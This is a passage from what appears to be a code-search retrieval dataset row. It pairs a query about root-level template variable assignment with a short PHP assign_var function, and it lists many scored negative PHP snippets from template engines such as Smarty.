"0.4348712", "0.434359", "0.43432543", "0.4333161", "0.4326049", "0.43095526", "0.43070358", "0.43028757", "0.43025565", "0.429037", "0.42899498", "0.4280657", "0.42791897", "0.4275988" ]
0.640078
1
Rootlevel variable assignment. Adds to current assignments, overriding any existing variable assignment with the same name.
function assign_vars($vararray) { foreach($vararray as $key => $val) { $this->vars[$key] = $val; } return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function clearVars() {\n\t\t$this->_engine->clearAllAssign();\n\t}", "protected function init()\n {\n $arVariablesExtend = Event::fire(self::EVENT_EXTEND_VARIABLES, []);\n\n foreach ($arVariablesExtend as $iIndex => $arExtend)\n {\n foreach ($arExtend as $sKey => $arVariable) {\n if (in_array($sKey, $this->arVariables)) {\n continue;\n }\n\n // Add to variables\n $this->arVariables[$sKey] = $arVariable;\n }\n }\n }", "function _set( $varname, $value, $scope='' ){\n if( $scope=='global' ){\n $this->ctx[0]['_scope_'][$varname] = $value;\n return;\n }\n\n if( $scope=='parent' ){\n for( $x=count($this->ctx)-1; $x>=0; $x-- ){\n if( isset($this->ctx[$x]['_scope_']) && isset($this->ctx[$x]['_scope_'][$varname]) ){\n $this->ctx[$x]['_scope_'][$varname] = $value;\n return;\n }\n }\n }\n\n for( $x=count($this->ctx)-1; $x>=0; $x-- ){\n if( isset($this->ctx[$x]['_scope_']) ){\n $this->ctx[$x]['_scope_'][$varname] = $value;\n return;\n }\n }\n\n }", "function associateVariablesWithBlocks() {\n $varRefNo = 0;\n $activeBlockNo = 0;\n $nextBlockNo = 1;\n while ($varRefNo < $this->varRefTabCnt) {\n $vrtr =& $this->varRefTab[$varRefNo];\n $varRefTPos = $vrtr['tPosBegin'];\n $varNo = $vrtr['varNo'];\n if ($varRefTPos >= $this->blockTab[$activeBlockNo]['tPosEnd']) {\n $activeBlockNo = $this->blockTab[$activeBlockNo]['parentBlockNo'];\n continue; }\n if ($nextBlockNo < $this->blockTabCnt) {\n if ($varRefTPos >= $this->blockTab[$nextBlockNo]['tPosBegin']) {\n $activeBlockNo = $nextBlockNo;\n $nextBlockNo += 1;\n continue; }}\n $btr =& $this->blockTab[$activeBlockNo];\n if ($varRefTPos < $btr['tPosBegin'])\n $this->programLogicError(1);\n $blockVarNo = $btr['blockVarCnt']++;\n $btr['blockVarNoToVarNoMap'][$blockVarNo] = $varNo;\n if ($btr['firstVarRefNo'] == -1)\n $btr['firstVarRefNo'] = $varRefNo;\n $vrtr['blockNo'] = $activeBlockNo;\n $vrtr['blockVarNo'] = $blockVarNo;\n $varRefNo += 1; }}", "public function setVariable(VariableName $variableName, BaseLiteral $value, string $assignmentMode = null)\n {\n $this->variables->set($variableName, $value, AbstractContext::ASSIGNMENT_MODE_VARIABLE);\n }", "function reset(){\n for( $x=count($this->ctx)-1; $x>=1; $x-- ){ // skip _ROOT_\n if( isset($this->ctx[$x]['_scope_']) ){\n $this->ctx[$x]['_scope_'] = array();\n return;\n }\n }\n }", "function set_var($var_name, $var_value)\r\n\t{\r\n\t\tif (is_array($var_value)) \r\n\t\t{\r\n\t\t\tforeach($var_value as $key=>$value)\r\n\t\t\t{\r\n\t\t\t\t$this->set_var($var_name . '.' . $key, $value); // recursion for array branches\r\n\t\t\t}\r\n\t\t}\r\n\t\telse // normal variable\r\n\t\t{\r\n\t\t\t$this->vars[$var_name] = $var_value;\r\n\t\t}\r\n\t}", "function setVar() {\n\t\t\n\t\t$_argv = func_get_args();\n\t\t$_argc = func_num_args();\n\t\t\n\t\t// load vars\n\t\t$vars = getVars();\n\t\tif (!$_GET[\"__shared__\"][\"vars\"]) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"] = array();\n\t\t}\n\t\tforeach ($vars as $varNamespace => $varArray) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"][$varNamespace] = $varArray;\n\t\t}\n\t\t\n\t\t// Register namespace if not existing\n\t\tif (!$_GET[\"__shared__\"][\"vars\"][$_argv[0]]) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"][$_argv[0]] = array();\n\t\t}\n\t\tif ($_argc == 2) {\n\t\t\tif (is_array($_argv[1])) {\n\t\t\t\tforeach ($_argv[1] as $var => $val) {\n\t\t\t\t\t$_GET[\"__shared__\"][\"vars\"][$_argv[0]][$var] = $val;\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif ($_argc == 3) {\n\t\t\t$_GET[\"__shared__\"][\"vars\"][$_argv[0]][$_argv[1]] = $_argv[2];\n\t\t}\n\t\t\n\t\t// save vars\n\t\t\n\t\tsaveVars();\n\t}", "public function assignVars(array $args)\n {\n $this->vars = array_merge( $this->vars , $args );\n }", "public function assign($var, $value) {\n\t\tparent::assign($var, $value);\n\t}", "public function clearVars()\r\n {\r\n $this->_smarty->clearAllAssign();\r\n $this->assign('this', $this);\r\n }", "public function assignVars($values) {\n\t\tforeach ($this->_vars as $key => $var) {\n\t\t\t$value = (!isset($values[$key]))?null:$values[$key];\n\t\t\t$this->_vars[$key]->set($value);\n\t\t}\n\t}", "function assign($var,$val) {\n\t\t$this->_viewVars[$var]=$val;\n\t}", "public function assignVar($name, $value) {\n $this->tpl_vars[$name] = $value;\n }", "protected function initVars() {\n\n\t\t}", "public function assign($name, $value){\r\n\t\t$this->vars[$name] = $value; \r\n\t}", "public function enableStrictVariables()\n {\n $this->strictVariables = true;\n }", "public function setAssignments(AssignmentExpression ...$assignments): void;", "public function assignGlobal($var, $val) {\n $this->arrVar['global'][$var] = $val;\n }", "public function assign($name, $value = null)\n {\n if (is_array($name)){\n foreach ($name as $key => $item) {\n $this->vars[$key] = $item;\n }\n } else {\n $this->vars[$name] = $value;\n }\n }", "protected function remebmer_variable( $name, $value ){\n\t\tstatic::$instance->variables[$name] = $value;\n\t}", "function tie_var($var_name, &$var_value)\r\n\t{\r\n\t\tif (is_array($var_value)) \r\n\t\t{\r\n\t\t\t$list = array_keys($var_value);\r\n\t\t\tforeach($list as $key)\r\n\t\t\t{\r\n\t\t\t\t$this->tie_var($var_name . '.' . $key, $var_value[$key]); // recursion for array branches\r\n\t\t\t}\r\n\t\t}\r\n\t\telse // normal variable\r\n\t\t{\r\n\t\t\t$this->vars[$var_name] =& $var_value;\r\n\t\t}\r\n\t}", "function assign($var, $value = false)\n {\n\t\tif (is_array($var))\r\n\t\t{\r\n\t\t\tforeach ($var as $name => $value)\r\n\t\t\t{\r\n\t\t\t\t$this->_vars[$name] = $value;\r\n\t\t\t}\r\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_vars[$var] = $value;\n\t\t}\n\t}", "function assign_var($varname, $varval)\n\t{\n\t\t$this->vars[$varname] = $varval;\n\n\t\treturn true;\n\t}", "function setRoot($value)\r\n {\r\n $this->_root=$value;\r\n //Gets the vars from the root object to get the pointers for the components\r\n $this->_rootvars=get_object_vars($this->_root);\r\n\r\n //Clears parents list and sets the root as the first parent\r\n $this->_parents->clear();\r\n $this->_parents->add($this->_root);\r\n\r\n }", "function assign_global($key, $value = null)\n\t{\n\t\t\tforeach ($this->data as $k => $v)\t // iterate through data\n\t\t\t{\n\t\t\t\t\n\t\t\t\tif (get_class($v) == 'Template') // if data is template object\n\t\t\t\t{\n\t\t\t\t\t$v->assign($key, $value);\t // assign to it\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->assign($key, $value);\t\t // assign to this template also\n\t}", "public function addVariable($name, $value);", "public function assign_variables($variables = array())\n\t{\n\t\tif (is_array($variables))\n\t\t{\n\t\t\tforeach ($variables as $name => $val)\n\t\t\t{\n\t\t\t\t$this->assign($name, $val);\n\t\t\t}\n\t\t}\n\t}", "public function addVariables($tvs = array());", "public function assignGlobal($varname, $value = null, $nocache = false)\n {\n if ($varname != '') {\n if ($this->_usage == Smarty::IS_TEMPLATE) {\n $this->_assignInScope($varname, new Smarty_Variable($value, $nocache), Smarty::SCOPE_GLOBAL);\n } else {\n Smarty::$_global_tpl_vars->$varname = new Smarty_Variable($value, $nocache);\n }\n }\n return $this;\n }", "public function addVariable($tv);", "public function assignVar($key, &$value) {\n\t\t$this->_vars[$key]->value = $value;\n\t}", "public function assign($names, $values = null, $global = false) {\n\t\tif (is_array($names)) {\n\t\t\tforeach ($names as $name => $value) {\n\t\t\t\t$this->assign($name, $value, $global);\n\t\t\t}\n\t\t} else {\n\t\t\tif ($global) {\n\t\t\t\t// Declare this name as global\n\t\t\t\t$this->tpl_vars_global_keys[] = $names;\n\n\t\t\t\t// For global vars, update value in all contexts\n\t\t\t\tforeach ($this->context as $id => $vars) {\n\t\t\t\t\t$this->context[$id][$names] = $values;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->tpl_vars[$names] = $values;\n\t\t}\n\t}", "public function disableStrictVariables()\n {\n $this->strictVariables = false;\n }", "function yy_r13(){ $this->_retvalue = $this->compiler->compileTag('assign',array_merge(array('value'=>$this->yystack[$this->yyidx + -2]->minor),$this->yystack[$this->yyidx + -4]->minor,$this->yystack[$this->yyidx + -1]->minor)); }", "#[@test]\n public function assignment() {\n $this->assertEquals(array(new AssignmentNode(array(\n 'variable' => new VariableNode('a'),\n 'expression' => new TernaryNode(array(\n 'condition' => new VariableNode('argc'),\n 'expression' => new VariableNode('args0'),\n 'conditional' => new IntegerNode('1')\n )),\n 'op' => '='\n ))), $this->parse('\n $a= $argc ? $args0 : 1;\n '));\n }", "function assign( $variable, $value = null ){\n\n\t\tif( is_array( $variable ) )\n\t\t\tforeach( $variable as $name => $value )\n\t\t\t\t$this->variables[ $name ] = $value;\n\t\telseif( is_object( $variable ) ){\n\t\t\t$variable = get_object_vars( $variable );\n\t\t\tforeach( $variable as $name => $value )\n\t\t\t\t$this->variables[ $name ] = $value;\n\t\t}\n\t\telse\n\t\t\t$this->variables[ $variable ] = $value;\n\t}", "public function assign( $name, $value ) {\n $this->vars[$name] = $value;\n }", "function e($var_nm)\n{\n\tglobal $$var_nm ;\n\n\treturn '$' . $var_nm . ' = ' . $$var_nm . ' ' ;\n}", "public function updateVaribles(){\n foreach( $this->globalVars as $key=>$val ){\n $this->template = str_replace( '%'. $key .'%', $val, $this->template );\n }\n }", "function drush_variable_realm_set($realm_name, $realm_key, $variable_name, $value) {\n variable_realm_set($realm_name, $realm_key, $variable_name, $value);\n drush_print('Variable set.');\n}", "private function initVars()\n {\n // fetch the current id_node. If no node the script assums that\n // we are at the top level with id_parent 0\n if( !isset($_REQUEST['id_node']) || preg_match(\"/[^0-9]+/\",$_REQUEST['id_node']) ) \n {\n $this->tplVar['id_node'] = 0;\n $this->current_id_node = 0; \n }\n else\n {\n $this->tplVar['id_node'] = (int)$_REQUEST['id_node'];\n $this->current_id_node = (int)$_REQUEST['id_node']; \n } \n\n $this->tplVar['lock_text'] = 'unlock';\n \n // template variables\n //\n // node tree data\n $this->tplVar['tree'] = array();\n // data of the current node\n $this->tplVar['node'] = array();\n // data of the branch nodes\n $this->tplVar['branch'] = array(); \n // link data\n $this->tplVar['link'] = array();\n \n // errors\n $this->tplVar['error'] = array(); \n \n // use keywords or not\n $this->tplVar['use_keywords'] = $this->config['link']['use_keywords']; \n\n if(isset($_REQUEST['disableMainMenu']))\n {\n $this->tplVar['disableMainMenu'] = \"1\"; \n }\n else\n {\n $this->tplVar['disableMainMenu'] = FALSE; \n }\n \n // we need the url vars to open this page by the keyword map window\n if($this->config['link']['use_keywords'] == 1)\n {\n $this->tplVar['opener_url_vars'] = base64_encode('&view=editLink&id_link='.(int)$_REQUEST['id_link'].'&id_node='.$this->current_id_node.'&disableMainMenu=1');\n } \n }", "protected function parseVariable(): void\n {\n $sBaseUrl = $this->sBaseUrl;\n\n /**\n * $getCurrentTplName is used in \"variables.inc.php\" file\n */\n $getCurrentTplName = static function () use ($sBaseUrl) {\n $aDirs = explode('/', $sBaseUrl);\n return !empty($aDirs[2]) ? $aDirs[2] : PH7_DEFAULT_THEME;\n };\n\n $this->setVariables(include('variables.inc.php'));\n }", "public function assign($name, $value = null) {\r\n\t\t\t$this->templateVariables[$name] = $value;\r\n\t\t\treturn $this;\r\n\t\t}", "public function assign($name, $var) {\n\t\t$this->vars[$name] = $var;\n\n\t\treturn NULL;\n\t}", "private function assignValues() {\n $this->setIndicators('value');\n\n $leftIndicator = $this->sugarTemplateIndicators['valueLeft'] . $this->sugarTemplateIndicators['valueSeparator'];\n $rightIndicator = $this->sugarTemplateIndicators['valueSeparator'] . $this->sugarTemplateIndicators['valueRight'];\n\n foreach ($this->assignedValues as $tag => $value) {\n $this->rootContent = str_replace($leftIndicator . $tag . $rightIndicator, $value, $this->rootContent);\n }\n }", "function addVar($varName,$value)\n {\n $this->VARS[${'varName'}][0] = $varName;\n $this->VARS[${'varName'}][1] = $value;\n }", "function assign_vars($vararray)\n\t{\n\t\t$this->_tpldata['.'][0] = array_merge(empty($this->_tpldata['.'][0]) ? array() : $this->_tpldata['.'][0], $vararray);\n\t\treturn true;\n\t}", "public static function addVars($arr){\n self::$vars = array_merge(self::$vars, $arr);\n }", "public function assignRootPassword()\n {\n $this->update(['root_password' => Str::random()]);\n }", "function yy_r29()\n {\n $this->_retvalue = $this->compiler->compileTag('assign', array_merge(array(array('value' => $this->yystack[$this->yyidx + - 1]->minor), array('var' => $this->yystack[$this->yyidx + - 3]->minor['var'])), $this->yystack[$this->yyidx + 0]->minor), array('smarty_internal_index' => $this->yystack[$this->yyidx + - 3]->minor['smarty_internal_index']));\n }", "public static function reassign() {\n\n\t\t}", "protected function assign_variables($vars) {\n $this->out->assign_vars($vars);\n }", "function assign_vars_array($name, $value)\n\t{\n\t\t$this->_vars[$name][] = $value;\n\t}", "public static function bind_global($key, & $value) {\r\n View::$_global_data[$key] = &$value;\r\n View::$_global_bound_variables[$key] = TRUE;\r\n if ( self::$_smarty_is_loaded ) {\r\n Smarty::$global_tpl_vars[$key] = new Smarty_variable($value);\r\n Smarty::$global_tpl_vars[$key]->value = &$value;\r\n }\r\n}", "function set_var($name, $value){ // set the template variable\n\tif (func_num_args()> 2){\n\t\tif (!$this->in_vars($name)) $this->vars[$name] = array();\n\t\t$this->vars[$name][func_get_arg(2)] = $value;\n\t} else $this->vars[$name] = $value;\n}", "function addVars($node, $vars) {\n\tforeach ($vars as $name=>$val) {\n\t\t$var = $node->data->addChild('var', $val);\n\t\t$var->addAttribute('name', $name);\n\t}\n}", "public function _assignInScope($varname, $variable_obj, $scope_type = Smarty::SCOPE_LOCAL)\n {\n if ($scope_type == Smarty::SCOPE_GLOBAL) {\n Smarty::$_global_tpl_vars->{$varname} = $variable_obj;\n if ($this->_usage == Smarty::IS_TEMPLATE) {\n // we must bubble from current template\n $scope_type = Smarty::SCOPE_ROOT;\n } else {\n // otherwise done\n return;\n }\n }\n\n // must always assign in local scope\n $this->_tpl_vars->{$varname} = $variable_obj;\n\n // if called on data object return\n if ($this->_usage == Smarty::IS_DATA) {\n return;\n }\n\n // if called from template object ($this->scope_type set) we must consider\n // the scope type if template object\n if ($this->_usage == Smarty::IS_TEMPLATE) {\n if (($this->scope_type == Smarty::SCOPE_ROOT || $this->scope_type == Smarty::SCOPE_PARENT) &&\n $scope_type != Smarty::SCOPE_ROOT && $scope_type != Smarty::SCOPE_SMARTY\n ) {\n $scope_type = $this->scope_type;\n }\n }\n\n if ($scope_type == Smarty::SCOPE_LOCAL) {\n return;\n }\n\n $node = $this->parent;\n while ($node) {\n // bubble up only in template objects\n if ($node->_usage == Smarty::IS_TEMPLATE || ($scope_type == Smarty::SCOPE_SMARTY && $node->_usage != Smarty::IS_DATA)) {\n $node->_tpl_vars->{$varname} = $variable_obj;\n if ($scope_type == Smarty::SCOPE_PARENT) {\n break;\n }\n }\n $node = $node->parent;\n }\n }", "public function addGlobalVariable($name, $value='null')\n\t{\n\t\tif (null === $this->resources->itemAt('variables'))\n\t\t\t$this->resources->add('variables', new CMap());\n\n\t\t$this->resources->itemAt('variables')->add($name, $value);\n\t}", "public function assign($variable , $value)\n {\n $this->data[$variable] = $value;\n }", "public function setRoot($root)\n {\n $this->root = $root;\n }", "public function assignTemplateVariable($varName, $varValue);", "public function assign($name, $value)\n {\n $this->vars[ $name ] = $value;\n }", "public function setVar($name, $value)\n {\n $this->var_holder->set($name, $value);\n }", "public function globalVarConditionMatchesOnEqualExpression() {}", "public function assign()\n {\n $this->elementsList();\n $this->match(BacktrackLexer::EQUALS);\n $this->elementsList();\n }", "public function globalVarConditionMatchesOnEqualExpression() {}", "function assign_block_vars($blockname, $vararray)\n\t{\n\t\tif (strpos($blockname, '.') !== false)\n\t\t{\n\t\t\t// Nested block.\n\t\t\t$blocks = explode('.', $blockname);\n\t\t\t$blockcount = sizeof($blocks) - 1;\n\n\t\t\t$str = &$this->_tpldata;\n\t\t\tfor($i = 0; $i < $blockcount; $i++)\n\t\t\t{\n\t\t\t\t$str = &$str[$blocks[$i] . '.'];\n\t\t\t\t$str = &$str[sizeof($str) - 1];\n\t\t\t}\n\n\t\t\t$s_row_count = isset($str[$blocks[$blockcount] . '.']) ? sizeof($str[$blocks[$blockcount] . '.']) : 0;\n\t\t\t$vararray['S_ROW_COUNT'] = $s_row_count;\n\n\t\t\t// Assign S_FIRST_ROW\n\t\t\tif (!$s_row_count)\n\t\t\t{\n\t\t\t\t$vararray['S_FIRST_ROW'] = true;\n\t\t\t}\n\n\t\t\t// Now the tricky part, we always assign S_LAST_ROW and remove the entry before\n\t\t\t// This is much more clever than going through the complete template data on display (phew)\n\t\t\t$vararray['S_LAST_ROW'] = true;\n\t\t\tif ($s_row_count > 0)\n\t\t\t{\n\t\t\t\tunset($str[$blocks[$blockcount] . '.'][($s_row_count - 1)]['S_LAST_ROW']);\n\t\t\t}\n\n\t\t\t// Now we add the block that we're actually assigning to.\n\t\t\t// We're adding a new iteration to this block with the given variable assignments.\n\t\t\t$str[$blocks[$blockcount] . '.'][] = $vararray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Top-level block.\n\t\t\t$s_row_count = (isset($this->_tpldata[$blockname . '.'])) ? sizeof($this->_tpldata[$blockname . '.']) : 0;\n\t\t\t$vararray['S_ROW_COUNT'] = $s_row_count;\n\n\t\t\t// Assign S_FIRST_ROW\n\t\t\tif (!$s_row_count)\n\t\t\t{\n\t\t\t\t$vararray['S_FIRST_ROW'] = true;\n\t\t\t}\n\n\t\t\t// We always assign S_LAST_ROW and remove the entry before\n\t\t\t$vararray['S_LAST_ROW'] = true;\n\t\t\tif ($s_row_count > 0)\n\t\t\t{\n\t\t\t\tunset($this->_tpldata[$blockname . '.'][($s_row_count - 1)]['S_LAST_ROW']);\n\t\t\t}\n\n\t\t\t// Add a new iteration to this block with the variable assignments we were given.\n\t\t\t$this->_tpldata[$blockname . '.'][] = $vararray;\n\t\t}\n\n\t\treturn true;\n\t}", "public function change_one_global() {\n $var_name = $GLOBALS['test_var'];\n $GLOBALS[ $var_name ] = rand_str();\n }", "public function getAssignedVars()\n {\n return $this->_vars;\n }", "function myTest() {\n $GLOBALS['y'] = $GLOBALS['x'] + $GLOBALS['y'];\n}", "function addVariable($name,$value,$eval = true) {\n\t\t $this->Open();\n\t\t if ($eval) {\t\t \t\t \n\t\t $this->Stream .= '$'.$name.' = '.$this->prepareVariableString($value).';'.chr(10);\n\t\t \n\t\t } else {\t\t \n\t\t $this->Stream .= '$'.$name.' = $'.$value.\";\".chr(10);\n\t\t } \n\t\t}", "public function assign($name,$value);", "public function variable_set($name, $value) {\n // TODO\n variable_set($name, $value);\n }", "function assign_block_vars($blockname, $vararray)\n\t{\n\t\tif (strstr($blockname, '.'))\n\t\t{\n\t\t\t// Nested block.\n\t\t\t$blocks = explode('.', $blockname);\n\t\t\t$blockcount = sizeof($blocks) - 1;\n\n\t\t\t$str = &$this->_tpldata; \n\t\t\tfor ($i = 0; $i < $blockcount; $i++) \n\t\t\t{\n\t\t\t\t$str = &$str[$blocks[$i]]; \n\t\t\t\t$str = &$str[sizeof($str) - 1]; \n\t\t\t}\n\t\t\t$str[$blocks[$blockcount]][] = $vararray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_tpldata[$blockname][] = $vararray;\n\t\t}\n\n\t\treturn true;\n\t}", "function Assign($tpl_var, $value = null)\n {\n $this->_smarty->assign( $tpl_var, $value );\n }", "protected static function initializeGlobalVariables() {}", "public function AddVariables($tid, $var, $name = NULL){\n if(!is_array($var)){\n if(!isset($name)){\n //todo add errors\n return false;\n }\n $var = [$name => $var];\n }\n\n if(isset($this->envir_vars[$tid]) && is_array($this->envir_vars[$tid])){\n $this->envir_vars[$tid] = array_merge($this->envir_vars[$tid], $var);\n }\n else{\n $this->envir_vars[$tid] = $var;\n }\n return true;\n }", "protected function assign($var,$value = null){\n\t\tif($value === null)\n\t\t\t$this->view_manager->assign($var);\n\t\telse\t\n\t\t\t$this->view_manager->assign($var,$value);\n\t}", "public function setInputVariableForSubWorkflow( $name, $value )\n {\n $this->inputVariablesForSubWorkflow[$name] = $value;\n }", "public function assign($tpl_var, $value = null, $nocache = false, $scope_type = Smarty::SCOPE_LOCAL)\n {\n if (is_array($tpl_var)) {\n foreach ($tpl_var as $varname => $value) {\n if ($varname != '') {\n if ($this->_usage == Smarty::IS_TEMPLATE || $scope_type != Smarty::SCOPE_LOCAL) {\n $this->_assignInScope($varname, new Smarty_Variable($value, $nocache), $scope_type);\n } else {\n $this->_tpl_vars->$varname = new Smarty_Variable($value, $nocache);\n }\n }\n }\n } else {\n if ($tpl_var != '') {\n if ($this->_usage == Smarty::IS_TEMPLATE || $scope_type != Smarty::SCOPE_LOCAL) {\n $this->_assignInScope($tpl_var, new Smarty_Variable($value, $nocache), $scope_type);\n } else {\n $this->_tpl_vars->$tpl_var = new Smarty_Variable($value, $nocache);\n }\n }\n }\n\n return $this;\n }", "public function setDataRoot($r){\n $this->data_root = $r;\n }", "public function assign( $variable, $value ) {\n $this->variables[ $variable ] = $value;\n }", "public function __set($varName, $value) {\n\t\t$this->add($varName, $value);\n\t}", "function __set($name, $value) {\n\t\t\t\t\tif (!empty($name)) {\n\t\t\t\t\t\t$this->vars[$name] = $value;\n\t\t\t\t\t}\n\t\t\t\t}", "public static function addInitVars ($name, $value) {\n\t\tself::$_initialiseVars[$name] = $value;\n\t}", "public function initVarfromDefs() {\n foreach ($this->extconfigs->getextConfig('sccpDefaults') as $key => $value) {\n if (empty($this->sccpvalues[$key])) {\n $this->sccpvalues[$key] = array('keyword' => $key, 'data' => $value, 'type' => '0', 'seq' => '0');\n }\n }\n }", "function setRoot( $block = '' ) {\r\n\t\t// if no block passed -> reload data\r\n\t\tif ( $block == '' ) {\r\n\t\t\t$this -> loadData();\r\n\t\t} else {\r\n\t\t\t// \"move pointer\"\r\n\t\t\t$this -> lang_data = $this -> lang_data[ $block ];\r\n\t\t\t$this -> default_lang_data = $this -> default_lang_data[ $block ];\r\n\t\t}\r\n\t}", "public function doVariable($name, &$value): void\n {\n switch ($name) {\n case 'b':\n $value = 4;\n break;\n }\n }", "protected function assign($varName, $varValue)\n {\n $this->varList[$varName] = $varValue;\n }", "public function fnParseVar(&$oNode, $bIsFor, $sKind)\n {\n $oNode->aDeclarations = [];\n $oNode->sKind = $sKind;\n for (;;) {\n $oDecl = $this->fnStartNode();\n $this->fnParseVarId($oDecl, $sKind);\n if ($this->fnEat(TokenTypes::$aTypes['eq'])) {\n $oDecl->oInit = $this->fnParseMaybeAssign($bIsFor);\n } else if ($sKind == \"const\" \n && !($this->oType == TokenTypes::$aTypes['in'] \n || ($this->aOptions['ecmaVersion'] >= 6 \n && $this->fnIsContextual(\"of\")))) {\n $this->fnUnexpected();\n } else if ($oDecl->oId->type != \"Identifier\" \n && !($bIsFor \n && ($this->oType == TokenTypes::$aTypes['in'] \n || $this->fnIsContextual(\"of\")))) {\n $this->fnRaise($this->iLastTokEnd, \"Complex binding patterns require an initialization value\");\n } else {\n $oDecl->oInit = null;\n }\n array_push($oNode->aDeclarations, $this->fnFinishNode($oDecl, \"VariableDeclarator\"));\n if (!$this->fnEat(TokenTypes::$aTypes['comma'])) \n break;\n }\n return $oNode;\n }", "public function __setVars($vars,$over = FALSE){\r\n\r\n if(sizeof($this->vars) || $over){\r\n $this->vars = array_merge($this->vars,$vars);\r\n }\r\n return $this;;\r\n }", "function yy_r106()\n {\n if ($this->yystack[$this->yyidx + 0]->minor['var'] == 'smarty') {\n $this->_retvalue = $this->compiler->compileTag('Internal_SpecialVariable', array(), $this->yystack[$this->yyidx + 0]->minor['smarty_internal_index']);\n } else {\n $this->_retvalue = $this->compiler->compileVariable($this->yystack[$this->yyidx + 0]->minor['var']) . $this->yystack[$this->yyidx + 0]->minor['smarty_internal_index'];\n }\n }", "function mySuperglobals(){\n $x = 75;\n $y = 25;\n \n function addition() {\n $GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];\n }\n \n addition();\n echo $z; \n //$_SERVER is a PHP super global variable which holds information about headers, paths, and script locations. \n echo $_SERVER['PHP_SELF'];\n echo \"<br>\";\n echo $_SERVER['SERVER_NAME'];\n echo \"<br>\";\n echo $_SERVER['HTTP_HOST'];\n echo \"<br>\";\n echo $_SERVER['HTTP_REFERER'];\n echo \"<br>\";\n echo $_SERVER['HTTP_USER_AGENT'];\n echo \"<br>\";\n echo $_SERVER['SCRIPT_NAME'];\n \n }", "function init($varname, $value = \"\", $append = false) {\n if (!is_array($varname)) {\n if ($varname !== '') {\n $this->_keys[$varname] = $this->_varname($varname);\n ($append) ? $this->_vals[$varname] .= $value : $this->_vals[$varname] = $value;\n }\n } else {\n reset($varname);\n while (list($k, $v) = each($varname)) {\n if ($k !== '') {\n $this->_keys[$k] = $this->_varname($k);\n ($append) ? $this->_vals[$k] .= $v : $this->_vals[$k] = $v;\n }\n }\n }\n }", "function ClearAllAssign()\n {\n $this->_smarty->clear_all_assign();\n }", "private function resetVars()\n {\n $this->response = $this->calls = array();\n $this->hasCalls = $this->isBatchCall = false;\n }", "public function visitVar(Node $node): void\n {\n if (!\\is_scalar($node->children['name'])) {\n throw new NodeException($node);\n }\n }", "public function setRootForCommands($root)\n {\n $this->_root = $root;\n }", "protected function setVarToTemplates()\n {\n $this->templates->set_tpl($this->varName, $this->checkNewCommondaty());\n }", "public static function assign($key,$value) {\r\n\t\tself::$_smarty->assignGlobal($key,$value);\r\n\t}" ]
[ "0.5391126", "0.5328976", "0.5229567", "0.50785697", "0.50630254", "0.49802667", "0.4969367", "0.49507865", "0.49159983", "0.4838056", "0.48132518", "0.48068583", "0.47982976", "0.47903475", "0.47635862", "0.47633398", "0.47358847", "0.47243148", "0.47221893", "0.47152656", "0.4713638", "0.47113672", "0.46992025", "0.46841055", "0.46736348", "0.4659529", "0.46541646", "0.4625192", "0.4611953", "0.4578183", "0.45748568", "0.45586476", "0.45343396", "0.4524228", "0.4522003", "0.45159584", "0.45055857", "0.45032454", "0.44919717", "0.44645968", "0.44578636", "0.44564486", "0.44476625", "0.44470346", "0.4443277", "0.44376546", "0.4435522", "0.44258812", "0.4422196", "0.44131196", "0.44093123", "0.43981332", "0.43867636", "0.43840885", "0.43813938", "0.437839", "0.4378376", "0.43736404", "0.4371791", "0.4362187", "0.43619704", "0.4346014", "0.43449697", "0.43343878", "0.4329357", "0.43272623", "0.4327118", "0.4322645", "0.43153182", "0.43023613", "0.4292663", "0.4287542", "0.4283129", "0.42782062", "0.42716607", "0.42712948", "0.4265995", "0.42633256", "0.4261427", "0.4260573", "0.42585334", "0.42585075", "0.42538378", "0.4247474", "0.4233064", "0.4230743", "0.42259198", "0.42233154", "0.42194074", "0.42175287", "0.4213152", "0.42103145", "0.42084703", "0.42059943", "0.42055953", "0.42021298", "0.41995975", "0.4198112", "0.41977185", "0.4195303", "0.41950268" ]
0.0
-1
Rootlevel variable assignment. Adds to current assignments, overriding any existing variable assignment with the same name.
function assign_var($varname, $varval) { $this->vars[$varname] = $varval; return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function clearVars() {\n\t\t$this->_engine->clearAllAssign();\n\t}", "protected function init()\n {\n $arVariablesExtend = Event::fire(self::EVENT_EXTEND_VARIABLES, []);\n\n foreach ($arVariablesExtend as $iIndex => $arExtend)\n {\n foreach ($arExtend as $sKey => $arVariable) {\n if (in_array($sKey, $this->arVariables)) {\n continue;\n }\n\n // Add to variables\n $this->arVariables[$sKey] = $arVariable;\n }\n }\n }", "function _set( $varname, $value, $scope='' ){\n if( $scope=='global' ){\n $this->ctx[0]['_scope_'][$varname] = $value;\n return;\n }\n\n if( $scope=='parent' ){\n for( $x=count($this->ctx)-1; $x>=0; $x-- ){\n if( isset($this->ctx[$x]['_scope_']) && isset($this->ctx[$x]['_scope_'][$varname]) ){\n $this->ctx[$x]['_scope_'][$varname] = $value;\n return;\n }\n }\n }\n\n for( $x=count($this->ctx)-1; $x>=0; $x-- ){\n if( isset($this->ctx[$x]['_scope_']) ){\n $this->ctx[$x]['_scope_'][$varname] = $value;\n return;\n }\n }\n\n }", "function associateVariablesWithBlocks() {\n $varRefNo = 0;\n $activeBlockNo = 0;\n $nextBlockNo = 1;\n while ($varRefNo < $this->varRefTabCnt) {\n $vrtr =& $this->varRefTab[$varRefNo];\n $varRefTPos = $vrtr['tPosBegin'];\n $varNo = $vrtr['varNo'];\n if ($varRefTPos >= $this->blockTab[$activeBlockNo]['tPosEnd']) {\n $activeBlockNo = $this->blockTab[$activeBlockNo]['parentBlockNo'];\n continue; }\n if ($nextBlockNo < $this->blockTabCnt) {\n if ($varRefTPos >= $this->blockTab[$nextBlockNo]['tPosBegin']) {\n $activeBlockNo = $nextBlockNo;\n $nextBlockNo += 1;\n continue; }}\n $btr =& $this->blockTab[$activeBlockNo];\n if ($varRefTPos < $btr['tPosBegin'])\n 